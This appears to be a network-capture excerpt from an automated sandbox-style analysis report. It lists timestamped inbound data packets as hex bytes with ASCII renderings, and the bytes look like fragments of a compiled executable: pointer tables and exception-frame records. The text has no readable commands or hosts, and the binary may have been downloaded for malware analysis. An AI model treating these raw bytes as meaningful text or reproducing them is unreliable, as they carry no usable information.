2022-07-20 08:32:58 UTC	1805	IN	Data Raw: 00 00 00 00 00 00 98 33 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 00 00 00 04 00 00 00 01 00 00 00 10 00 00 00 02 00 00 00 08 00 00 00 d5 33 5c 00 de 33 5c 00 e9 33 5c 00 f1 33 5c 00 fc 33 5c 00 08 34 5c 00 fe ff ff 1f 00 00 00 00 ff ff ff ff fc ff ff 3f 00 00 00 00 ff ff ff ff 0c 00 00 00 04 00 00 00 00 04 00 00 00 01 00 00 08 00 00 00 0c 02 00 00 02 00 00 00 40 00 00 00 00 02 00 00 20 00 00 00 01 00 00 00 10 00 00 00 02 03 00 04 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 ff fe 00 00 ef bb bf 00 fe ff 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 01 00 00 18 4a 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 9f 5b 00 e8 9e 5b 00 18 9f 5b 00 d8 9e 5b 00 48 9f 5b 00 f0 9e 5b 00 58 9f 5b 00 f8 9e 5b 00 60 9f 5b 00 00 Data Ascii: 3\?3\3\3\3\3\4\?@ J\@[[[[H[[X[[`[
2022-07-20 08:32:58 UTC	1821	IN	Data Raw: 43 00 40 2b 44 00 00 00 00 00 ec 54 5c 00 a0 fd 49 00 80 fd 49 00 70 31 44 00 90 2e 44 00 50 2d 44 00 10 34 44 00 80 39 44 00 d0 2f 44 00 50 5f 44 00 00 00 00 00 f8 54 5c 00 a0 01 4a 00 80 01 4a 00 30 c0 43 00 e0 c0 43 00 00 be 43 00 d0 bf 43 00 90 c0 43 00 40 c0 43 00 20 c0 43 00 a0 be 43 00 90 be 43 00 00 00 00 00 04 55 5c 00 a0 05 4a 00 80 05 4a 00 60 c4 43 00 10 c5 43 00 30 c2 43 00 00 c4 43 00 c0 c4 43 00 70 c4 43 00 50 c4 43 00 d0 c2 43 00 c0 c2 43 00 00 00 00 00 10 55 5c 00 a0 09 4a 00 80 09 4a 00 90 c8 43 00 40 c9 43 00 60 c6 43 00 30 c8 43 00 f0 c8 43 00 a0 c8 43 00 80 c8 43 00 00 c7 43 00 f0 c6 43 00 00 00 00 00 1c 55 5c 00 a0 0d 4a 00 80 0d 4a 00 c0 cc 43 00 70 cd 43 00 90 ca 43 00 60 cc 43 00 20 cd 43 00 d0 cc 43 00 b0 cc 43 00 30 cb 43 00 20 Data Ascii: C@+DT\IIp1D.DP-D4D9D/DP_DT\JJ0CCCCC@C CCCU\JJ`CC0CCCpCPCCCU\JJC@C`C0CCCCCCU\JJCpCC`C CCC0C
2022-07-20 08:32:58 UTC	1822	IN	Data Raw: 43 00 40 5a 43 00 30 5a 43 00 00 00 00 00 0c 57 5c 00 d0 76 47 00 b0 76 47 00 00 00 00 00 18 57 5c 00 10 7e 47 00 f0 7d 47 00 00 00 00 00 24 57 5c 00 40 81 47 00 20 81 47 00 c0 67 43 00 00 00 00 00 30 57 5c 00 80 82 47 00 60 82 47 00 80 84 43 00 00 00 00 00 44 57 5c 00 a0 94 47 00 80 94 47 00 30 9a 43 00 d0 99 43 00 b0 99 43 00 50 99 43 00 00 9d 43 00 d0 9c 43 00 40 9d 43 00 10 9d 43 00 00 00 00 00 50 57 5c 00 b0 95 47 00 70 95 47 00 d0 a0 43 00 30 a0 43 00 50 9d 43 00 80 9e 43 00 60 9e 43 00 10 9e 43 00 f0 9d 43 00 a0 9d 43 00 60 a1 43 00 30 a1 43 00 50 a2 43 00 70 a1 43 00 00 00 00 00 5c 57 5c 00 90 96 47 00 70 96 47 00 c0 67 43 00 00 00 00 00 68 57 5c 00 50 97 47 00 30 97 47 00 c0 67 43 00 00 00 00 00 74 57 5c 00 10 98 47 00 f0 97 47 00 c0 67 43 00 00 Data Ascii: C@ZC0ZCW\vGvGW\~G}G$W\@G GgC0W\G`GCDW\GG0CCCPCCC@CCPW\GpGC0CPCC`CCCC`C0CPCpC\W\GpGgChW\PG0GgCtW\GGgC
2022-07-20 08:32:58 UTC	1838	IN	Data Raw: e4 ff 8f 01 00 00 04 98 f3 4a 00 41 0e 08 85 02 42 0d 05 47 83 03 03 82 01 c5 c3 0c 04 04 24 00 00 00 d4 00 00 00 42 2c e4 ff f9 02 00 00 04 b2 f3 4a 00 41 0e 08 85 02 42 0d 05 47 83 03 03 ec 02 c5 c3 0c 04 04 24 00 00 00 fc 00 00 00 14 2f e4 ff f7 00 00 00 04 e0 f3 4a 00 41 0e 08 85 02 42 0d 05 47 83 03 02 ea c5 c3 0c 04 04 00 24 00 00 00 24 01 00 00 e4 2f e4 ff d6 00 00 00 04 ee f3 4a 00 41 0e 08 85 02 42 0d 05 44 83 03 02 cc c5 c3 0c 04 04 00 1c 00 00 00 04 01 00 00 92 30 e4 ff 36 00 00 00 00 41 0e 08 85 02 42 0d 05 70 c5 0c 04 04 00 00 24 00 00 00 6c 01 00 00 a8 30 e4 ff 71 02 00 00 04 fd f3 4a 00 41 0e 08 85 02 42 0d 05 47 83 03 03 64 02 c5 c3 0c 04 04 24 00 00 00 94 01 00 00 f2 32 e4 ff df 00 00 00 04 2a f4 4a 00 41 0e 08 85 02 42 0d 05 47 83 03 02 Data Ascii: JABG$B,JABG$/JABG$$/JABD06ABp$l0qJABGd$2*JABG
2022-07-20 08:32:58 UTC	1839	IN	Data Raw: 08 01 1b 0c 04 04 88 01 00 00 1c 00 00 00 1c 00 00 00 cc 62 e4 ff 62 00 00 00 00 41 0e 08 85 02 42 0d 05 02 5c c5 0c 04 04 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 24 00 00 00 24 00 00 00 ee 62 e4 ff 4e 01 00 00 04 40 f7 4a 00 41 0e 08 85 02 42 0d 05 47 83 03 03 41 01 c5 c3 0c 04 04 24 00 00 00 4c 00 00 00 14 64 e4 ff e6 01 00 00 04 59 f7 4a 00 41 0e 08 85 02 42 0d 05 47 83 03 03 d9 01 c5 c3 0c 04 04 24 00 00 00 74 00 00 00 d2 65 e4 ff 06 01 00 00 04 79 f7 4a 00 41 0e 08 85 02 42 0d 05 47 83 03 02 f9 c5 c3 0c 04 04 00 1c 00 00 00 d4 00 00 00 b0 66 e4 ff 59 00 00 00 00 41 0e 08 85 02 42 0d 05 02 53 c5 0c 04 04 00 24 00 00 00 bc 00 00 00 ea 66 e4 ff 16 01 00 00 04 88 f7 4a 00 41 0e 08 85 02 42 0d 05 Data Ascii: bbAB\zPLR\|PJ$$bN@JABGA$LdYJABG$teyJABGfYABS$fJAB
2022-07-20 08:32:58 UTC	1855	IN	Data Raw: 0e 08 85 02 42 0d 05 42 86 03 83 04 02 6b 0a c3 41 c6 41 c5 0c 04 04 41 0b 63 0a c3 41 c6 41 c5 0c 04 04 41 0b 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 38 00 00 00 24 00 00 00 8c b9 ea ff b5 00 00 00 04 74 01 4b 00 41 0e 08 85 02 42 0d 05 42 86 03 83 04 02 6b 0a c3 41 c6 41 c5 0c 04 04 41 0b 63 0a c3 41 c6 41 c5 0c 04 04 41 0b 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 30 00 00 00 24 00 00 00 90 c7 ea ff e0 02 00 00 04 86 01 4b 00 41 0e 08 85 02 42 0d 05 46 87 03 86 04 83 05 03 fe 01 0a c3 41 c6 41 c7 41 c5 0c 04 04 46 0b 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 30 00 00 00 24 00 00 00 5c Data Ascii: BBkAAAcAAAzPLR\|PJ8$tKABBkAAAcAAAzPLR\|PJ0$KABFAAAFzPLR\|PJ0$\
2022-07-20 08:32:58 UTC	1856	IN	Data Raw: 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 3c b7 ea ff 09 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 7c 00 00 00 1c 00 00 00 20 82 ea ff 85 01 00 00 00 41 0e 08 86 02 41 0e 0c 83 03 43 0e 30 02 57 0e 14 43 0e 30 43 0a 0e 0c 41 c3 0e 08 41 c6 0e 04 41 0b 7c 0e 14 43 0e 30 43 0a 0e 0c 41 c3 0e 08 41 c6 0e 04 47 0b 7c 0e 14 43 0e 30 43 0a 0e 0c 41 c3 0e 08 41 c6 0e 04 41 0b 7c 0e 14 43 0e 30 43 0a 0e 0c 41 c3 0e 08 41 c6 0e 04 47 0b 7c 0e 14 43 0e 30 43 0e 0c 41 c3 0e 08 41 c6 0e 04 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 7c 00 00 00 1c 00 00 00 a8 84 ea ff 85 01 00 00 00 41 0e 08 86 02 41 0e 0c 83 03 43 0e 30 02 57 0e 14 43 0e 30 Data Ascii: zR\|<zR\|\| AAC0WC0CAAA\|C0CAAG\|C0CAAA\|C0CAAG\|C0CAAzR\|\|AAC0WC0
2022-07-20 08:32:58 UTC	1872	IN	Data Raw: 00 00 1c 00 00 00 d4 e1 e5 ff 29 00 00 00 00 43 0e 10 5d 0e 04 43 0e 10 43 0e 04 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 2c 00 00 00 1c 00 00 00 fc e0 e5 ff 34 00 00 00 00 41 0e 08 86 02 43 0e 0c 83 03 43 0e 20 62 0e 14 43 0e 20 43 0e 0c 41 c3 0e 08 41 c6 0e 04 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 20 00 00 00 1c 00 00 00 84 e1 e5 ff 37 00 00 00 00 41 0e 08 86 02 41 0e 0c 83 03 71 c3 0e 08 41 c6 0e 04 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 38 00 00 00 1c 00 00 00 a8 df e5 ff 5e 00 00 00 00 41 0e 08 85 02 46 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 02 45 0a c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 43 0b 00 00 00 14 00 00 00 00 00 00 00 01 Data Ascii: )C]CCzR\|,4ACC bC CAAzR\| 7AAqAzR\|8^AFAAEAAAC
2022-07-20 08:32:58 UTC	1873	IN	Data Raw: 04 04 88 01 00 00 68 00 00 00 1c 00 00 00 3c e5 e5 ff cb 00 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 43 0e 40 02 60 0a 0e 14 44 c3 0e 10 41 c6 0e 0c 44 c7 0e 08 41 c5 0e 04 43 0b 60 0a 0e 14 41 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 48 0b 45 0a 0e 14 41 c3 0e 10 44 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 43 0b 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 58 60 e9 ff 09 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 1c 60 e9 ff 09 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 00 66 e9 ff 06 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 Data Ascii: h<AAAAC@`DADAC`AAAAHEADAACzR\|X`zR\|`zR\|f
2022-07-20 08:32:58 UTC	1889	IN	Data Raw: 00 00 10 00 00 00 1c 00 00 00 80 e1 e6 ff 0e 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 94 81 ec ff 0b 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 18 82 ec ff 17 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 cc 81 ec ff 17 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 d0 ff e6 ff 17 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 84 ff e6 ff 17 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 Data Ascii: zR\|zR\|zR\|zR\|zR\|zR
2022-07-20 08:32:58 UTC	1890	IN	Data Raw: 04 04 43 0b 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 2c 00 00 00 24 00 00 00 0c 77 ec ff 4c 00 00 00 04 99 07 4b 00 41 0e 08 85 02 44 0d 05 42 86 03 83 04 6f 0a c3 41 c6 41 c5 0c 04 04 43 0b 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 84 59 e6 ff 16 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 78 59 e6 ff 16 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 40 00 00 00 1c 00 00 00 8c 59 e6 ff 72 00 00 00 00 41 0e 08 86 02 41 0e 0c 83 03 45 0e 20 02 42 0e 14 45 0e 20 43 0a 0e 0c 41 c3 0e 08 41 c6 0e 04 4d 0b 45 0e 1c 45 0e 20 Data Ascii: CzPLR\|PJ,$wLKADBoAACzR\|YzR\|xYzR\|@YrAAE BE CAAMEE
2022-07-20 08:32:58 UTC	1906	IN	Data Raw: 00 00 c8 a9 eb ff 53 00 00 00 04 a8 0f 4b 00 41 0e 08 85 02 44 0d 05 42 86 03 83 04 76 0a c3 41 c6 41 c5 0c 04 04 43 0b 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 2c 00 00 00 24 00 00 00 58 a8 eb ff 53 00 00 00 04 b4 0f 4b 00 41 0e 08 85 02 44 0d 05 42 86 03 83 04 76 0a c3 41 c6 41 c5 0c 04 04 43 0b 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 80 ec e5 ff 16 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 94 ed e5 ff 16 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 40 00 00 00 1c 00 00 00 a8 ee e5 ff 72 00 00 00 00 41 0e 08 86 Data Ascii: SKADBvAACzPLR\|PJ,$XSKADBvAACzR\|zR\|zR\|@rA
2022-07-20 08:32:58 UTC	1907	IN	Data Raw: 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 40 00 00 00 24 00 00 00 b0 24 ec ff eb 00 00 00 04 fc 0f 4b 00 41 0e 08 85 02 42 0d 05 43 87 03 86 04 83 05 02 75 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 7e 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 54 27 ec ff 0b 00 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 40 00 00 00 24 00 00 00 10 29 ec ff ea 00 00 00 04 10 10 4b 00 41 0e 08 85 02 44 0d 05 43 87 03 86 04 83 05 02 6e 0a c3 41 c6 41 c7 41 c5 0c 04 04 47 0b 7e 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b Data Ascii: \|PJ@$$KABCuAAAC~AAACzR\|T'zPLR\|PJ@$)KADCnAAAG~AAACzPLR\|PJ
2022-07-20 08:32:58 UTC	1923	IN	Data Raw: 00 00 2c 00 00 00 1c 00 00 00 c0 d9 e9 ff bb 00 00 00 00 41 0e 08 86 02 41 0e 0c 83 03 45 0e 50 02 93 0e 3c 43 0e 50 57 0e 0c 43 c3 0e 08 41 c6 0e 04 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 64 00 00 00 1c 00 00 00 38 d1 e9 ff da 01 00 00 00 41 0e 08 87 02 41 0e 0c 86 03 41 0e 10 83 04 45 0e 40 02 b1 0e 2c 43 0e 40 53 0a 0e 10 41 c3 0e 0c 41 c6 0e 08 41 c7 0e 04 43 0b 50 0a 0e 10 41 c3 0e 0c 41 c6 0e 08 41 c7 0e 04 48 0b 5d 0a 0e 10 41 c3 0e 0c 41 c6 0e 08 41 c7 0e 04 43 0b 73 0e 30 48 0e 40 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 20 00 00 00 1c 00 00 00 a8 c8 e9 ff 65 00 00 00 00 41 0e 08 83 02 66 0a c3 0e 04 59 0b 58 c3 0e 04 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 Data Ascii: ,AAEP<CPWCAzR\|d8AAAE@,C@SAAACPAAAH]AAACs0H@zR\| eAfYXzPLR\|
2022-07-20 08:32:58 UTC	1924	IN	Data Raw: 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 d8 5e e5 ff 08 00 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 30 00 00 00 24 00 00 00 64 0b ea ff 22 01 00 00 04 2e 16 4b 00 41 0e 08 85 02 42 0d 05 43 87 03 86 04 83 05 02 d5 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 30 00 00 00 24 00 00 00 00 06 ea ff 31 01 00 00 04 41 16 4b 00 41 0e 08 85 02 42 0d 05 41 87 03 45 86 04 83 05 02 f2 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 50 00 00 00 24 00 00 00 bc Data Ascii: zR\|^zPLR\|PJ0$d".KABCAAACzPLR\|PJ0$1AKABAEAAACzPLR\|PJP$
2022-07-20 08:32:58 UTC	1940	IN	Data Raw: 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 ac 08 e8 ff 04 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 18 00 00 00 1c 00 00 00 60 ee eb ff 2f 00 00 00 00 43 0e 20 5d 0a 0e 04 43 0b 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 28 00 00 00 1c 00 00 00 fc 07 e8 ff 3e 00 00 00 00 51 0e 08 83 02 45 0e 20 53 0e 1c 47 0e 20 47 0a 0e 08 41 c3 0e 04 41 0b 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 3c 00 00 00 1c 00 00 00 28 eb eb ff 4c 00 00 00 00 41 0e 08 86 02 41 0e 0c 83 03 45 0e 20 55 0a 0e 0c 41 c3 0e 08 41 c6 0e 04 43 0b 53 0e 1c 47 0e 20 47 0a 0e 0c 41 c3 0e 08 41 c6 0e 04 43 0b 14 00 00 00 00 Data Ascii: zR\|zR\|`/C ]CzR\|(>QE SG GAAzR\|<(LAAE UAACSG GAAC
2022-07-20 08:32:58 UTC	1941	IN	Data Raw: 1c 4b 00 41 0e 08 85 02 42 0d 05 42 86 03 83 04 02 57 0a c3 41 c6 41 c5 0c 04 04 43 0b 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 34 00 00 00 1c 00 00 00 ac e8 eb ff 51 00 00 00 00 41 0e 08 86 02 41 0e 0c 83 03 45 0e 20 4c 0e 1c 48 0e 20 48 0e 1c 4d 0e 20 5c 0e 0c 41 c3 0e 08 41 c6 0e 04 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 3c 00 00 00 24 00 00 00 b4 e8 eb ff 68 00 00 00 04 0a 1d 4b 00 41 0e 08 86 02 43 0e 0c 83 03 43 0e 20 4c 0e 1c 48 0e 20 48 0e 1c 48 0e 20 48 0e 1c 49 0e 20 67 0e 0c 41 c3 0e 08 41 c6 0e 04 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 34 00 00 00 1c 00 00 00 9c e7 eb ff 51 00 00 00 00 41 0e 08 86 02 41 0e 0c Data Ascii: KABBWAACzR\|4QAAE LH HM \AAzPLR\|PJ<$hKACC LH HH HI gAAzR\|4QAA
2022-07-20 08:32:58 UTC	1957	IN	Data Raw: 45 0e 30 5a 0e 28 45 0e 30 43 0e 08 41 c3 0e 04 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 24 00 00 00 1c 00 00 00 b8 aa e4 ff 2c 00 00 00 00 41 0e 08 83 02 45 0e 30 5a 0e 28 45 0e 30 43 0e 08 41 c3 0e 04 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 24 00 00 00 1c 00 00 00 f8 aa e4 ff 2c 00 00 00 00 41 0e 08 83 02 45 0e 30 5a 0e 28 45 0e 30 43 0e 08 41 c3 0e 04 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 24 00 00 00 1c 00 00 00 88 aa e4 ff 2c 00 00 00 00 41 0e 08 83 02 45 0e 30 5a 0e 28 45 0e 30 43 0e 08 41 c3 0e 04 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 24 00 00 00 1c 00 00 00 b8 5b e7 ff 2c 00 00 00 00 41 0e 08 83 Data Ascii: E0Z(E0CAzR\|$,AE0Z(E0CAzR\|$,AE0Z(E0CAzR\|$,AE0Z(E0CAzR\|$[,A
2022-07-20 08:32:58 UTC	1958	IN	Data Raw: 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 1c 00 00 00 1c 00 00 00 a8 c8 e8 ff 18 00 00 00 00 41 0e 08 83 02 45 0e 20 50 0e 08 41 c3 0e 04 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 c0 21 ea ff 0b 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 1c 00 00 00 1c 00 00 00 74 21 ea ff 1e 00 00 00 00 41 0e 08 83 02 45 0e 20 56 0e 08 41 c3 0e 04 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 58 00 00 00 24 00 00 00 c4 15 e6 ff 25 01 00 00 04 94 2d 4b 00 41 0e 08 85 02 41 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 43 0e 50 02 a7 0e 48 43 0e 50 59 0e 4c 43 0e 50 53 0e 4c 45 0e 50 43 0a Data Ascii: zR\|AE PAzR\|!zR\|t!AE VAzPLR\|PJX$%-KAAAACPHCPYLCPSLEPC
2022-07-20 08:32:58 UTC	1974	IN	Data Raw: 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 48 00 00 00 1c 00 00 00 e0 44 e7 ff b9 01 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 43 0e 60 02 ac 0e 40 43 0e 60 7b 0a 0e 14 45 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 47 0b 02 43 0e 5c 43 0e 60 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 48 00 00 00 1c 00 00 00 bc 42 e7 ff b9 01 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 43 0e 60 02 ac 0e 40 43 0e 60 7b 0a 0e 14 45 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 47 0b 02 43 0e 5c 43 0e 60 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 30 00 00 00 24 00 00 00 10 4d e6 ff 66 07 00 00 04 10 34 4b 00 41 0e 08 85 02 42 0d 05 Data Ascii: zR\|HDAAAAC`@C`{EAAAGC\C`zR\|HBAAAAC`@C`{EAAAGC\C`zPLR\|PJ0$Mf4KAB
2022-07-20 08:32:58 UTC	1975	IN	Data Raw: 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 30 00 00 00 24 00 00 00 ac 18 e6 ff 89 07 00 00 04 ce 34 4b 00 41 0e 08 85 02 42 0d 05 49 87 03 86 04 83 05 03 1d 02 0a c3 41 c6 41 c7 41 c5 0c 04 04 44 0b 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 10 5b e6 ff 05 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 14 51 e6 ff 13 00 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 30 00 00 00 24 00 00 00 00 28 e6 ff 89 07 00 00 04 fc 34 4b 00 41 0e 08 85 02 42 0d 05 49 87 03 86 04 83 05 03 1d 02 0a c3 41 c6 41 c7 Data Ascii: zPLR\|PJ0$4KABIAAADzR\|[zR\|QzPLR\|PJ0$(4KABIAA
2022-07-20 08:32:58 UTC	1991	IN	Data Raw: 86 04 41 0e 14 83 05 45 0e 30 02 44 0a 0e 14 41 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 43 0b 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 08 83 ea ff 11 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 ec 80 ea ff 13 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 10 7d ea ff 13 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 1c 00 00 00 1c 00 00 00 54 82 ea ff 26 00 00 00 00 43 0e 20 5a 0e 18 43 0e 20 43 0e 04 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 1c 00 00 00 1c 00 00 00 6c Data Ascii: AE0DAAAACzR\|zR\|zR\|}zR\|T&C ZC CzR\|l
